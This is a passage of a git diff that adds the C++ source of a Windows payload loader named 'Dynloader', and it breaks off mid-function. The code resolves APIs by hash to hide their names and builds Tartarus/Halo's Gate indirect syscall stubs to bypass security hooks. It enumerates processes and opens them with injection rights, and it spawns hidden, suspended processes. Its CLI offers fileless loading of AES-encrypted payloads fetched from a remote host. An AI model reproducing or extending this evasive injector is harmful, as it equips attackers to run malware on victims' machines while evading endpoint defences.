0=exe, 1=ntdll, 2=kernel32 (typical load order). +HMODULE GetModuleByIndex(unsigned index); + +// Walk PE export directory; match export by djb2 hash (case-sensitive export name). +FARPROC GetExportByHash(HMODULE module, std::uint32_t exportHash); + +// Parse PE headers from module base. +PIMAGE_NT_HEADERS GetNtHeaders(HMODULE module); + +// Convert wide module basename to lowercase ASCII for hashing. +bool WideToLowerAscii(const PeUnicodeString& name, char* out, size_t outCap); + +} // namespace PeParser \ No newline at end of file diff --git a/lib/resolve/api_resolver.cpp b/lib/resolve/api_resolver.cpp new file mode 100644 index 0000000..4533fd0 --- /dev/null +++ b/lib/resolve/api_resolver.cpp @@ -0,0 +1,65 @@ +#include "api_resolver.hpp" +#include "../pe/pe_parser.hpp" +#include "../common/hashes.hpp" + +namespace ApiResolver { + +static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName); + +HMODULE GetNtdll() { + auto* m = PeParser::GetModuleByHash(Hashes::H_NTDLL_DLL); + return m ? m : PeParser::GetModuleByIndex(1); +} + +HMODULE GetKernel32() { + auto* m = PeParser::GetModuleByHash(Hashes::H_KERNEL32_DLL); + return m ? m : PeParser::GetModuleByIndex(2); +} + +HMODULE GetWs2_32() { + return EnsureModule(Hashes::H_WS2_32_DLL, L"ws2_32.dll"); +} + +HMODULE GetBcrypt() { + return EnsureModule(Hashes::H_BCRYPT_DLL, L"bcrypt.dll"); +} + +FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash) { + return PeParser::GetExportByHash(module, exportHash); +} + +FARPROC ResolveNtdll(std::uint32_t exportHash) { + return ResolveExport(GetNtdll(), exportHash); +} + +FARPROC ResolveWs2(std::uint32_t exportHash) { + return ResolveExport(GetWs2_32(), exportHash); +} + +FARPROC ResolveBcrypt(std::uint32_t exportHash) { + return ResolveExport(GetBcrypt(), exportHash); +} + +static HMODULE EnsureModule(std::uint32_t moduleHash, const wchar_t* fallbackName) { + HMODULE mod = PeParser::GetModuleByHash(moduleHash); + if (mod) { + return mod; + } + + auto* k32 = GetKernel32(); + if (!k32) { + return nullptr; + } + + using LoadLibraryW_t = HMODULE(WINAPI*)(LPCWSTR); + auto* pLoad = reinterpret_cast( + ResolveExport(k32, Hashes::H_LoadLibraryW)); + if (!pLoad || !fallbackName) { + return nullptr; + } + + mod = pLoad(fallbackName); + return mod; +} + +} // namespace ApiResolver \ No newline at end of file diff --git a/lib/resolve/api_resolver.hpp b/lib/resolve/api_resolver.hpp new file mode 100644 index 0000000..ec9e134 --- /dev/null +++ b/lib/resolve/api_resolver.hpp @@ -0,0 +1,19 @@ +#pragma once + +#include +#include + +namespace ApiResolver { + +// Thin facade over PeParser for reusable dynamic resolution. +HMODULE GetNtdll(); +HMODULE GetKernel32(); +HMODULE GetWs2_32(); +HMODULE GetBcrypt(); + +FARPROC ResolveExport(HMODULE module, std::uint32_t exportHash); +FARPROC ResolveNtdll(std::uint32_t exportHash); +FARPROC ResolveWs2(std::uint32_t exportHash); +FARPROC ResolveBcrypt(std::uint32_t exportHash); + +} // namespace ApiResolver \ No newline at end of file diff --git a/lib/syscall/tartarus_gate.cpp b/lib/syscall/tartarus_gate.cpp new file mode 100644 index 0000000..bcc7043 --- /dev/null +++ b/lib/syscall/tartarus_gate.cpp @@ -0,0 +1,236 @@ +#include "tartarus_gate.hpp" +#include "../pe/pe_parser.hpp" +#include "../resolve/api_resolver.hpp" +#include "../common/hashes.hpp" + +#include "../common/log.hpp" + +#include +#include +#include + +namespace TartarusGate { + +namespace { + +std::vector g_stubPages; + +// Tartarus Gate: resolve SSN from export stub; if hooked (jmp), walk neighbors (Halo's Gate). +std::uint32_t ExtractSSN(PBYTE stub) { + // Unhooked x64 stub: 4C 8B D1 B8 imm32 + if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) { + return *reinterpret_cast(stub + 4); + } + return 0; +} + +std::uint32_t HaloResolve(PBYTE stub) { + for (int j = 1; j <= 500; ++j) { + auto* down = stub + (j * 0x20); + if (down[0] == 0x4C && down[1] == 0x8B && down[3] == 0xB8) { + const auto neighbor = *reinterpret_cast(down + 4); + return neighbor - static_cast(j); + } + auto* up = stub - (j * 0x20); + if (up[0] == 0x4C && up[1] == 0x8B && up[3] == 0xB8) { + const auto neighbor = *reinterpret_cast(up + 4); + return neighbor + static_cast(j); + } + } + return 0; +} + +static HMODULE NtdllBase() { + return ApiResolver::GetNtdll(); +} + +static FARPROC NtdllExport(std::uint32_t hash) { + return PeParser::GetExportByHash(NtdllBase(), hash); +} + +PVOID AllocStubPage(const void* code, size_t size) { + // Bootstrap stub pages via direct ntdll exports (one-time); all runtime ops use indirect stubs. + auto* pAlloc = reinterpret_cast( + NtdllExport(Hashes::H_NtAllocateVirtualMemory)); + auto* pProt = reinterpret_cast( + NtdllExport(Hashes::H_NtProtectVirtualMemory)); + if (!pAlloc || !pProt) { + return nullptr; + } + + PVOID base = nullptr; + SIZE_T region = size; + if (!NT_SUCCESS(pAlloc(GetCurrentProcess(), &base, 0, ®ion, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || !base) { + return nullptr; + } + std::memcpy(base, code, size); + ULONG old = 0; + PVOID protBase = base; + SIZE_T protSize = region; + if (!NT_SUCCESS(pProt(GetCurrentProcess(), &protBase, &protSize, + PAGE_EXECUTE_READ, &old))) { + return nullptr; + } + g_stubPages.push_back(base); + return base; +} + +} // anonymous namespace + +std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash) { + if (!ntdll) { + Log::Err("Unable to Resolve SSN %s"); + return 0; + } + + auto* base = reinterpret_cast(ntdll); + auto* nt = PeParser::GetNtHeaders(ntdll); + if (!nt) { + return 0; + } + + const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (!dir.VirtualAddress) { + return 0; + } + + auto* exp = reinterpret_cast(base + dir.VirtualAddress); + auto* names = reinterpret_cast(base + exp->AddressOfNames); + auto* ords = reinterpret_cast(base + exp->AddressOfNameOrdinals); + auto* funcs = reinterpret_cast(base + exp->AddressOfFunctions); + + for (DWORD i = 0; i < exp->NumberOfNames; ++i) { + const char* exportName = reinterpret_cast(base + names[i]); + if (Hashes::Djb2(exportName) != exportHash) { + continue; + } + + auto* stub = base + funcs[ords[i]]; + + // Tartarus: detect hook (jmp/call redirect). + if (stub[0] == 0xE9 || stub[0] == 0xEB || stub[0] == 0xFF) { + Log::Dbg("SSN resolve: hooked stub @ %p first=0x%02X — Halo's Gate", + stub, stub[0]); + return HaloResolve(stub); + } + + auto ssn = ExtractSSN(stub); + if (ssn) { + Log::Dbg("SSN resolve: clean stub @ %p SSN=%u", stub, ssn); + return ssn; + } + Log::Dbg("SSN resolve: clean pattern miss @ %p — Halo's Gate", stub); + return HaloResolve(stub); + } + return 0; +} + +PVOID FindSyscallGadget(HMODULE ntdll) { + if (!ntdll) { + return nullptr; + } + + auto* base = reinterpret_cast(ntdll); + auto* nt = PeParser::GetNtHeaders(ntdll); + if (!nt) { + return nullptr; + } + + auto* sec = IMAGE_FIRST_SECTION(nt); + for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i) { + if (std::memcmp(sec[i].Name, ".text", 5) != 0) { + continue; + } + PBYTE start = base + sec[i].VirtualAddress; + DWORD size = sec[i].Misc.VirtualSize; + for (DWORD off = 0; off + 2 < size; ++off) { + // syscall; ret + if (start[off] == 0x0F && start[off + 1] == 0x05 && start[off + 2] == 0xC3) { + return start + off; + } + } + } + return nullptr; +} + +PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget) { + if (!gadget || ssn == 0) { + return nullptr; + } + + // mov r10, rcx | mov eax, SSN | jmp [rip+0] | dq gadget + static const BYTE hdr[] = { + 0x4C, 0x8B, 0xD1, + 0xB8, 0x00, 0x00, 0x00, 0x00, + 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00 + }; + + BYTE buf[sizeof(hdr) + sizeof(PVOID)] = {}; + std::memcpy(buf, hdr, sizeof(hdr)); + *reinterpret_cast(buf + 4) = ssn; + *reinterpret_cast(buf + sizeof(hdr)) = gadget; + + PVOID page = AllocStubPage(buf, sizeof(buf)); + return page; +} + +bool BindSyscall(SyscallTable& table, std::uint32_t hash, PVOID& outStub, const char* debugTag) { + auto* ntdll = ApiResolver::GetNtdll(); + const auto ssn = ResolveSSN(ntdll, hash); + if (!ssn) { + Log::Raw("TartarusGate SSN FAIL hash=0x%08X tag=%s", hash, debugTag); + return false; + } + outStub = CreateIndirectStub(ssn, table.gadget); + if (!outStub) { + Log::Raw("TartarusGate STUB FAIL SSN=%u tag=%s", ssn, debugTag); + return false; + } + Log::Raw("syscall %-28s SSN=%4u stub=%p gadget=%p", debugTag, ssn, outStub, table.gadget); + return true; +} + +bool Initialize(SyscallTable& table) { + auto* ntdll = ApiResolver::GetNtdll(); + if (!ntdll) { + return false; + } + + table.gadget = FindSyscallGadget(ntdll); + if (!table.gadget) { + return false; + } + Log::Banner("Tartarus Gate Init"); + Log::Raw("ntdll=%p | indirect syscall; ret gadget=%p", ntdll, table.gadget); + + PVOID stub = nullptr; + +#define BIND(field, hash, tag) \ + if (!BindSyscall(table, hash, stub, tag)) return false; \ + table.field = reinterpret_cast(stub) + + BIND(NtAllocateVirtualMemory, Hashes::H_NtAllocateVirtualMemory, "NtAllocateVirtualMemory"); + BIND(NtProtectVirtualMemory, Hashes::H_NtProtectVirtualMemory, "NtProtectVirtualMemory"); + BIND(NtWriteVirtualMemory, Hashes::H_NtWriteVirtualMemory, "NtWriteVirtualMemory"); + BIND(NtFreeVirtualMemory, Hashes::H_NtFreeVirtualMemory, "NtFreeVirtualMemory"); + BIND(NtCreateSection, Hashes::H_NtCreateSection, "NtCreateSection"); + BIND(NtMapViewOfSection, Hashes::H_NtMapViewOfSection, "NtMapViewOfSection"); + BIND(NtUnmapViewOfSection, Hashes::H_NtUnmapViewOfSection, "NtUnmapViewOfSection"); + BIND(NtOpenProcess, Hashes::H_NtOpenProcess, "NtOpenProcess"); + BIND(NtCreateThreadEx, Hashes::H_NtCreateThreadEx, "NtCreateThreadEx"); + BIND(NtClose, Hashes::H_NtClose, "NtClose"); + BIND(NtQuerySystemInformation, Hashes::H_NtQuerySystemInformation, "NtQuerySystemInformation"); + +#undef BIND + + table.initialized = true; + return true; +} + +void CleanupStubs() { + // Stubs are small RX pages; leak on exit is acceptable for loader lifetime. + g_stubPages.clear(); +} + +} // namespace TartarusGate \ No newline at end of file diff --git a/lib/syscall/tartarus_gate.hpp b/lib/syscall/tartarus_gate.hpp new file mode 100644 index 0000000..7c023d7 --- /dev/null +++ b/lib/syscall/tartarus_gate.hpp @@ -0,0 +1,96 @@ +#pragma once + +#include +#include + +#include "../common/nt_types.hpp" + +namespace TartarusGate { + +// NT syscall typedefs used by the loader. +using fnNtAllocateVirtualMemory = NTSTATUS(NTAPI*)( + HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, + PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); + +using fnNtProtectVirtualMemory = NTSTATUS(NTAPI*)( + HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, + ULONG NewProtect, PULONG OldProtect); + +using fnNtWriteVirtualMemory = NTSTATUS(NTAPI*)( + HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, + SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); + +using fnNtFreeVirtualMemory = NTSTATUS(NTAPI*)( + HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); + +using fnNtCreateSection = NTSTATUS(NTAPI*)( + PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes, + PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, + HANDLE FileHandle); + +using fnNtMapViewOfSection = NTSTATUS(NTAPI*)( + HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, + SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, + ULONG InheritDisposition, ULONG AllocationType, ULONG Win32Protect); + +using fnNtUnmapViewOfSection = NTSTATUS(NTAPI*)( + HANDLE ProcessHandle, PVOID BaseAddress); + +using fnNtOpenProcess = NTSTATUS(NTAPI*)( + PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes, + PCLIENT_ID_NT ClientId); + +using fnNtCreateThreadEx = NTSTATUS(NTAPI*)( + PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes, + HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, + ULONG_PTR ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, + PVOID AttributeList); + +using fnNtClose = NTSTATUS(NTAPI*)(HANDLE Handle); + +using fnNtQuerySystemInformation = NTSTATUS(NTAPI*)( + ULONG SystemInformationClass, PVOID SystemInformation, + ULONG SystemInformationLength, PULONG ReturnLength); + +using fnNtCreateFile = NTSTATUS(NTAPI*)( + PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES_NT ObjectAttributes, + PIO_STATUS_BLOCK_NT IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, + ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, + ULONG EaLength); + +using fnNtReadFile = NTSTATUS(NTAPI*)( + HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext, + PIO_STATUS_BLOCK_NT IoStatusBlock, PVOID Buffer, ULONG Length, + PLARGE_INTEGER ByteOffset, PULONG Key); + +struct SyscallTable { + fnNtAllocateVirtualMemory NtAllocateVirtualMemory = nullptr; + fnNtProtectVirtualMemory NtProtectVirtualMemory = nullptr; + fnNtWriteVirtualMemory NtWriteVirtualMemory = nullptr; + fnNtFreeVirtualMemory NtFreeVirtualMemory = nullptr; + fnNtCreateSection NtCreateSection = nullptr; + fnNtMapViewOfSection NtMapViewOfSection = nullptr; + fnNtUnmapViewOfSection NtUnmapViewOfSection = nullptr; + fnNtOpenProcess NtOpenProcess = nullptr; + fnNtCreateThreadEx NtCreateThreadEx = nullptr; + fnNtClose NtClose = nullptr; + fnNtQuerySystemInformation NtQuerySystemInformation = nullptr; + PVOID gadget = nullptr; + bool initialized = false; +}; + +// Tartarus Gate + Halo's Gate SSN resolution by export hash (no API name strings). +std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash); + +// Find `syscall; ret` gadget in ntdll .text for indirect syscalls. +PVOID FindSyscallGadget(HMODULE ntdll); + +// Build indirect syscall stub: mov r10,rcx / mov eax,SSN / jmp [gadget]. +PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget); + +// Initialize full syscall table with indirect stubs. +bool Initialize(SyscallTable& table); + +void CleanupStubs(); + +} // namespace TartarusGate \ No newline at end of file diff --git a/loader.sln b/loader.sln new file mode 100644 index 0000000..fe0c690 --- /dev/null +++ b/loader.sln @@ -0,0 +1,19 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 18 +VisualStudioVersion = 18.0.0.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "loader", "loader.vcxproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64 + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64 + EndGlobalSection +EndGlobal \ No newline at end of file diff --git a/loader.vcxproj b/loader.vcxproj new file mode 100644 index 0000000..23d8958 --- /dev/null +++ b/loader.vcxproj @@ -0,0 +1,98 @@ + + + + + Debug + x64 + + + Release + x64 + + + + 18.0 + Win32Proj + {A1B2C3D4-E5F6-7890-ABCD-EF1234567890} + loader_v2 + 10.0 + + + + Application + true + v145 + Unicode + + + Application + false + v145 + true + Unicode + + + + + + Level3 + true + + MultiThreadedDebug + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + $(ProjectDir);%(AdditionalIncludeDirectories) + + + Console + true + + + + + Level3 + true + true + true + + MultiThreaded + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp20 + $(ProjectDir);%(AdditionalIncludeDirectories) + + + Console + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/loader/cli.cpp b/loader/cli.cpp new file mode 100644 index 0000000..7aa6158 --- /dev/null +++ b/loader/cli.cpp @@ -0,0 +1,178 @@ +#include "cli.hpp" + +#include +#include +#include + +namespace Cli { + +bool IsVerboseFlag(const char* arg) { + return arg && std::strcmp(arg, "--verbose") == 0; +} + +void PrintBanner(){ + std::cout << R"raw( +██████╗ ██╗ ██╗███╗ ██╗██╗ ██████╗ █████╗ ██████╗ ███████╗██████╗ +██╔══██╗╚██╗ ██╔╝████╗ ██║██║ ██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗ +██║ ██║ ╚████╔╝ ██╔██╗ ██║██║ ██║ ██║███████║██║ ██║█████╗ ██████╔╝ +██║ ██║ ╚██╔╝ ██║╚██╗██║██║ ██║ ██║██╔══██║██║ ██║██╔══╝ ██╔══██╗ +██████╔╝ ██║ ██║ ╚████║███████╗██████╔╝██║ ██║██████╔╝███████╗██║ ██║ +╚═════╝ ╚═╝ ╚═╝ ╚═══╝╚══════╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ +)raw"; +} + +void PrintUsage() { + std::cout << + "Dynloader loader\n\n" + "LOCAL:\n" + " loader.exe [--verbose]\n" + " loader.exe --process [--verbose]\n" + " loader.exe --enc AES [--verbose]\n\n" + "FILELESS:\n" + " loader.exe --fileless --source [--verbose]\n" + " loader.exe --fileless --source --enc AES [--verbose]\n" + " loader.exe --fileless --source --process [--enc AES] [--verbose]\n\n" + "SERVER:\n" + " loader.exe --server [--port 8080] [--verbose] plain\n" + " loader.exe --server --enc AES [--port 8080] [--verbose]\n\n" + "REMOTE Usage:\n" + " Usage --process \n\n" + "DEBUGGING MODE:\n" + " Usage: --verbosE\n"; + "FUN Part:\n" + " Use --banner to see suprise\n" + " Usage - ./loader.exe --banner\n\n"; +} + +static bool IsFlag(const char* a) { + return a && a[0] == '-'; +} + +static bool IsModeFlag(const char* a) { + return a && ( + std::strcmp(a, "--fileless") == 0 || + std::strcmp(a, "--server") == 0 || + std::strcmp(a, "--enc") == 0 || + std::strcmp(a, "--selftest") == 0); +} + +Options Parse(int argc, char* argv[]) { + Options opt{}; + + if (argc < 2) { + opt.mode = Mode::Help; + return opt; + } + + for (int i = 1; i < argc; ++i) { + if (IsVerboseFlag(argv[i])) { + opt.verbose = true; + } + } + + if (std::strcmp(argv[1], "--selftest") == 0) { + opt.mode = Mode::Normal; + opt.inputPath = "__selftest__"; + return opt; + } + + if (std::strcmp(argv[1], "--banner") == 0){ + opt.mode = Mode::Banner; + return opt; + } + + if (std::strcmp(argv[1], "--server") == 0) { + opt.mode = Mode::Server; + // Server uses its own verbose channel (not loader syscall dumps). + if (opt.verbose) { + opt.server_verbose = true; + opt.verbose = false; + } + for (int i = 2; i < argc; ++i) { + if (IsVerboseFlag(argv[i])) { + opt.server_verbose = true; + opt.verbose = false; + continue; + } + if (std::strcmp(argv[i], "--port") == 0 && i + 1 < argc) { + opt.serverPort = static_cast(std::atoi(argv[++i])); + } else if (std::strcmp(argv[i], "--enc") == 0 && i + 2 < argc && + std::strcmp(argv[i + 1], "AES") == 0) { + opt.useAes = true; + i += 2; + if (i < argc && !IsFlag(argv[i])) { + opt.inputPath = argv[i]; + } + } else if (!IsFlag(argv[i])) { + opt.inputPath = argv[i]; + } + } + return opt; + } + + if (std::strcmp(argv[1], "--enc") == 0 && argc >= 4 && std::strcmp(argv[2], "AES") == 0) { + opt.mode = Mode::Encrypt; + opt.useAes = true; + opt.inputPath = argv[3]; + return opt; + } + + if (std::strcmp(argv[1], "--fileless") == 0) { + opt.mode = Mode::Fileless; + for (int i = 2; i < argc; ++i) { + if (IsVerboseFlag(argv[i])) { + + continue; + } + if (std::strcmp(argv[i], "--source") == 0 && i + 1 < argc) { + opt.sourceHost = argv[++i]; + } else if (std::strcmp(argv[i], "--enc") == 0 && i + 1 < argc && + std::strcmp(argv[i + 1], "AES") == 0) { + opt.useAes = true; + ++i; + } else if (std::strcmp(argv[i], "--process") == 0 && i + 1 < argc) { + opt.processTarget = argv[++i]; + opt.remoteIngestion = true; + } + } + if (opt.sourceHost.empty()) { + opt.mode = Mode::Help; + } + return opt; + } + + // Scan any order: --process [--verbose] + std::string binPath; + for (int i = 1; i < argc; ++i) { + if (IsVerboseFlag(argv[i])) { + continue; + } + if (std::strcmp(argv[i], "--process") == 0 && i + 1 < argc) { + opt.processTarget = argv[++i]; + opt.remoteIngestion = true; + continue; + } + if (!IsFlag(argv[i]) && !IsModeFlag(argv[i])) { + if (binPath.empty()) { + binPath = argv[i]; + } + } + } + + if (!binPath.empty()) { + opt.mode = Mode::Normal; + opt.inputPath = binPath; + return opt; + } + + if (!IsFlag(argv[1])) { + opt.mode = Mode::Normal; + opt.inputPath = argv[1]; + return opt; + } + + opt.mode = Mode::Help; + return opt; +} + +} // namespace Cli \ No newline at end of file diff --git a/loader/cli.hpp b/loader/cli.hpp new file mode 100644 index 0000000..d472697 --- /dev/null +++ b/loader/cli.hpp @@ -0,0 +1,36 @@ +#pragma once + +#include +#include +#include + +namespace Cli { + +enum class Mode { + Normal, + Encrypt, + Fileless, + Server, + Help, + Banner +}; + +struct Options { + Mode mode = Mode::Help; + std::string inputPath; + std::string sourceHost; + std::string processTarget; // --process name or PID (remote ingestion) + std::uint16_t sourcePort = 8080; /// kept default post as 8080 + bool useAes = false; + std::uint16_t serverPort = 8080; + bool verbose = false; // loader channel (--verbose on load/fileless/enc) + bool remoteIngestion = false; + bool server_verbose = false; // server channel (--server ... --verbose) +}; + +bool IsVerboseFlag(const char* arg); +Options Parse(int argc, char* argv[]); +void PrintUsage(); +void PrintBanner(); + +} // namespace Cli \ No newline at end of file diff --git a/loader/ingestion.cpp b/loader/ingestion.cpp new file mode 100644 index 0000000..7c705e7 --- /dev/null +++ b/loader/ingestion.cpp @@ -0,0 +1,480 @@ +#include "ingestion.hpp" +#include "../lib/memory/section_map.hpp" +#include "../lib/common/nt_types.hpp" +#include "../lib/common/log.hpp" +#include "../lib/common/hashes.hpp" +#include "../lib/resolve/api_resolver.hpp" + +#include +#include +#include +#include + +namespace Ingestion { + +namespace { + +constexpr ULONG kInjectAccess = + PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | + PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ; + +std::string NormalizeName(std::string name) { + for (auto& c : name) { + if (c >= 'A' && c <= 'Z') { + c = static_cast(c + 32); + } + } + if (name.size() < 4 || name.substr(name.size() - 4) != ".exe") { + name += ".exe"; + } + return name; +} + +bool BasenameMatches(const char* imagePath, const std::string& wantNorm) { + if (!imagePath) { + return false; + } + const char* base = std::strrchr(imagePath, '\\'); + base = base ? base + 1 : imagePath; + + char lower[MAX_PATH] = {}; + strncpy_s(lower, base, _TRUNCATE); + CharLowerA(lower); + + std::string noExt = wantNorm; + if (noExt.size() > 4 && noExt.substr(noExt.size() - 4) == ".exe") { + noExt = noExt.substr(0, noExt.size() - 4); + } + + if (std::strcmp(lower, wantNorm.c_str()) == 0) { + return true; + } + char lowerNoExt[MAX_PATH] = {}; + strncpy_s(lowerNoExt, lower, _TRUNCATE); + size_t len = strlen(lowerNoExt); + if (len > 4 && std::strcmp(lowerNoExt + len - 4, ".exe") == 0) { + lowerNoExt[len - 4] = '\0'; + } + return std::strcmp(lowerNoExt, noExt.c_str()) == 0; +} + +bool IsNumericPid(const std::string& target, DWORD& pid) { + if (target.empty()) { + return false; + } + for (char c : target) { + if (c < '0' || c > '9') { + return false; + } + } + pid = static_cast(std::strtoul(target.c_str(), nullptr, 10)); + return pid != 0; +} + +bool FindPidByName(TartarusGate::SyscallTable& sc, const std::string& wantNorm, DWORD& outPid) { + Log::Banner("Process Enum (NtQuerySystemInformation)"); + Log::Sys("SystemProcessInformation look for image=%s", wantNorm.c_str()); + + ULONG bufSize = 1 << 20; + std::vector buffer(bufSize); + ULONG retLen = 0; + + NTSTATUS st = sc.NtQuerySystemInformation( + SystemProcessInformation, buffer.data(), + static_cast(buffer.size()), &retLen); + Log::NtStatus("NtQuerySystemInformation (pass1)", st); + Log::Dbg("buffer=%lu retLen=%lu", bufSize, retLen); + + if (st == static_cast(0xC0000004)) { + Log::Dbg("STATUS_INFO_LENGTH_MISMATCH — resize + retry"); + buffer.resize(retLen + 0x4000); + st = sc.NtQuerySystemInformation( + SystemProcessInformation, buffer.data(), + static_cast(buffer.size()), &retLen); + Log::NtStatus("NtQuerySystemInformation (pass2)", st); + } + + if (!NT_SUCCESS(st)) { + Log::NtStatus("NtQuerySystemInformation", st); + return false; + } + + size_t scanned = 0; + auto* entry = reinterpret_cast(buffer.data()); + for (;;) { + ++scanned; + if (entry->ImageName.Buffer && entry->ImageName.Length > 0) { + char name[MAX_PATH] = {}; + WideCharToMultiByte(CP_ACP, 0, entry->ImageName.Buffer, + entry->ImageName.Length / static_cast(sizeof(WCHAR)), + name, MAX_PATH - 1, nullptr, nullptr); + + if (BasenameMatches(name, wantNorm)) { + outPid = static_cast(reinterpret_cast(entry->UniqueProcessId)); + Log::Sys("Found PID %lu for %s (image=%s) after scanning %zu entries", + outPid, wantNorm.c_str(), name, scanned); + return outPid != 0; + } + } + if (entry->NextEntryOffset == 0) { + break; + } + entry = reinterpret_cast( + reinterpret_cast(entry) + entry->NextEntryOffset); + } + Log::Dbg("no match for %s (scanned %zu processes)", wantNorm.c_str(), scanned); + return false; +} + +HANDLE OpenProcessSyscall(TartarusGate::SyscallTable& sc, DWORD pid) { + Log::Sys("NtOpenProcess PID=%lu DesiredAccess=0x%08lX " + "(CREATE_THREAD|QUERY|VM_OP|VM_WRITE|VM_READ)", + pid, static_cast(kInjectAccess)); + + OBJECT_ATTRIBUTES_NT oa{}; + InitObjectAttributes(&oa, nullptr, 0, nullptr, nullptr); + + CLIENT_ID_NT cid{}; + cid.UniqueProcess = reinterpret_cast(static_cast(pid)); + cid.UniqueThread = nullptr; + + HANDLE h = nullptr; + NTSTATUS st = sc.NtOpenProcess(&h, kInjectAccess, &oa, &cid); + Log::NtStatus("NtOpenProcess", st); + if (!NT_SUCCESS(st)) { + return nullptr; + } + Log::Sys("NtOpenProcess OK handle=%p", h); + return h; +} + +HANDLE OpenProcessWin32(DWORD pid) { + Log::Dbg("fallback OpenProcess (Win32 hash-resolved) PID=%lu", pid); + auto* k32 = ApiResolver::GetKernel32(); + if (!k32) { + Log::Dbg("kernel32 base null"); + return nullptr; + } + using OpenProcess_t = HANDLE(WINAPI*)(DWORD, BOOL, DWORD); + auto* pOpen = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_OpenProcess)); + if (!pOpen) { + Log::Dbg("OpenProcess export resolve failed"); + return nullptr; + } + HANDLE h = pOpen(kInjectAccess, FALSE, pid); + if (!h) { + Log::Dbg("OpenProcess failed GetLastError=%lu", GetLastError()); + } else { + Log::Sys("OpenProcess OK handle=%p", h); + } + return h; +} + +bool SpawnHeadless(const std::wstring& exeName, RemoteTarget& out) { + auto* k32 = ApiResolver::GetKernel32(); + if (!k32) { + return false; + } + + using SearchPathW_t = DWORD(WINAPI*)(LPCWSTR, LPCWSTR, LPCWSTR, DWORD, LPWSTR, LPWSTR*); + using CreateProcessW_t = BOOL(WINAPI*)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, + LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); + using CloseHandle_t = BOOL(WINAPI*)(HANDLE); + + auto* pSearch = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_SearchPathW)); + auto* pCreate = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CreateProcessW)); + auto* pClose = reinterpret_cast( + ApiResolver::ResolveExport(k32, Hashes::H_CloseHandle)); + + if (!pSearch || !pCreate || !pClose) { + Log::Warn("Spawn: SearchPathW/CreateProcessW hash resolve failed"); + return false; + } + + wchar_t pathBuf[MAX_PATH] = {}; + wchar_t* filePart = nullptr; + if (!pSearch(nullptr, exeName.c_str(), nullptr, MAX_PATH, pathBuf, &filePart)) { + Log::Warn("Spawn: executable not found on PATH: %ls", exeName.c_str()); + return false; + } + + Log::Sys("Spawn: resolved %ls", pathBuf); + + STARTUPINFOW si{}; + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + + PROCESS_INFORMATION pi{}; + const DWORD flags = CREATE_SUSPENDED | CREATE_NO_WINDOW; + + if (!pCreate(pathBuf, nullptr, nullptr, nullptr, FALSE, flags, nullptr, nullptr, &si, &pi)) { + 